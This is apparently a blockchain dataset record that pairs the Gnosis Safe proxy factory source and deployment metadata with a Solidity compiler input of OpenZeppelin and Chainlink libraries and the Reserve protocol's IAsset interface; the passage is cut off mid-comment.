/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,403 |
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|
8eb41f8bc76c0a2c3a5409efc6ef1b21164939280d753120f293bac7424cad2e
|
f2d98377d80dadf725bfb97e91357f1d81384de2
|
90eb22a31b69c29c34162e0e9278cc0617aa2b50
|
61f1bc54746636fb41266ceb06f3d88d0b59eb18
|
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|
363d3d373d3d3d363d734edeb80ce684a890dd58ae0d9762c38731b11b995af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface AggregatorV3Interface {\n function decimals() external view returns (uint8);\n\n function description() external view returns (string memory);\n\n function version() external view returns (uint256);\n\n function getRoundData(uint80 _roundId)\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}\n"
},
"@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev External interface of AccessControl declared to support ERC165 detection.\n */\ninterface IAccessControlUpgradeable {\n /**\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n *\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n * {RoleAdminChanged} not being emitted signaling this.\n *\n * _Available since v3.1._\n */\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n /**\n * @dev Emitted when `account` is granted `role`.\n *\n * `sender` is the account that originated the contract call, an admin role\n * bearer except when using {AccessControl-_setupRole}.\n */\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Emitted when `account` is revoked `role`.\n *\n * `sender` is the account that originated the contract call:\n * - if using `revokeRole`, it is the admin role bearer\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\n */\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) external view returns (bool);\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {AccessControl-_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function grantRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function revokeRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been granted `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n */\n function renounceRole(bytes32 role, address account) external;\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20PermitUpgradeable {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20Upgradeable.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20MetadataUpgradeable is IERC20Upgradeable {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20Upgradeable {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/draft-IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"contracts/interfaces/IAsset.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IMain.sol\";\nimport \"./IRewardable.sol\";\n\n// Not used directly in the IAsset interface, but used by many consumers to save stack space\nstruct Price {\n uint192 low; // {UoA/tok}\n uint192 high; // {UoA/tok}\n}\n\n/**\n * @title IAsset\n * @notice Supertype. Any token that interacts with our system must be wrapped in an asset,\n * whether it is used as RToken backing or not. Any token that can report a price in the UoA\n * is eligible to be an asset.\n */\ninterface IAsset is IRewardable {\n /// Refresh saved price\n /// The Reserve protocol calls this at least once per transaction, before relying on\n /// the Asset's other functions.\n /// @dev Called immediately after deployment, before use\n function refresh() external;\n\n /// Should not revert\n /// low should be nonzero if the asset could be worth selling\n /// @return low {UoA/tok} The lower end of the price estimate\n /// @return high {UoA/tok} The upper end of the price estimate\n function price() external view returns (uint192 low, uint192 high);\n\n /// Should not revert\n /// lotLow should be nonzero when the asset might be worth selling\n /// @dev Deprecated. Phased out in 3.1.0, but left on interface for backwards compatibility\n /// @return lotLow {UoA/tok} The lower end of the lot price estimate\n /// @return lotHigh {UoA/tok} The upper end of the lot price estimate\n function lotPrice() external view returns (uint192 lotLow, uint192 lotHigh);\n\n /// @return {tok} The balance of the ERC20 in whole tokens\n function bal(address account) external view returns (uint192);\n\n /// @return The ERC20 contract of the token with decimals() available\n function erc20() external view returns (IERC20Metadata);\n\n /// @return The number of decimals in the ERC20; just for gas optimization\n function erc20Decimals() external view returns (uint8);\n\n /// @return If the asset is an instance of ICollateral or not\n function isCollateral() external view returns (bool);\n\n /// @return {UoA} The max trade volume, in UoA\n function maxTradeVolume() external view returns (uint192);\n\n /// @return {s} The timestamp of the last refresh() that saved prices\n function lastSave() external view returns (uint48);\n}\n\n// Used only in Testing. Strictly speaking an Asset does not need to adhere to this interface\ninterface TestIAsset is IAsset {\n /// @return The address of the chainlink feed\n function chainlinkFeed() external view returns (AggregatorV3Interface);\n\n /// {1} The max % deviation allowed by the oracle\n function oracleError() external view returns (uint192);\n\n /// @return {s} Seconds that an oracle value is considered valid\n function oracleTimeout() external view returns (uint48);\n\n /// @return {s} The maximum of all oracle timeouts on the plugin\n function maxOracleTimeout() external view returns (uint48);\n\n /// @return {s} Seconds that the price() should decay over, after stale price\n function priceTimeout() external view returns (uint48);\n\n /// @return {UoA/tok} The last saved low price\n function savedLowPrice() external view returns (uint192);\n\n /// @return {UoA/tok} The last saved high price\n function savedHighPrice() external view returns (uint192);\n}\n\n/// CollateralStatus must obey a linear ordering. That is:\n/// - being DISABLED is worse than being IFFY, or SOUND\n/// - being IFFY is worse than being 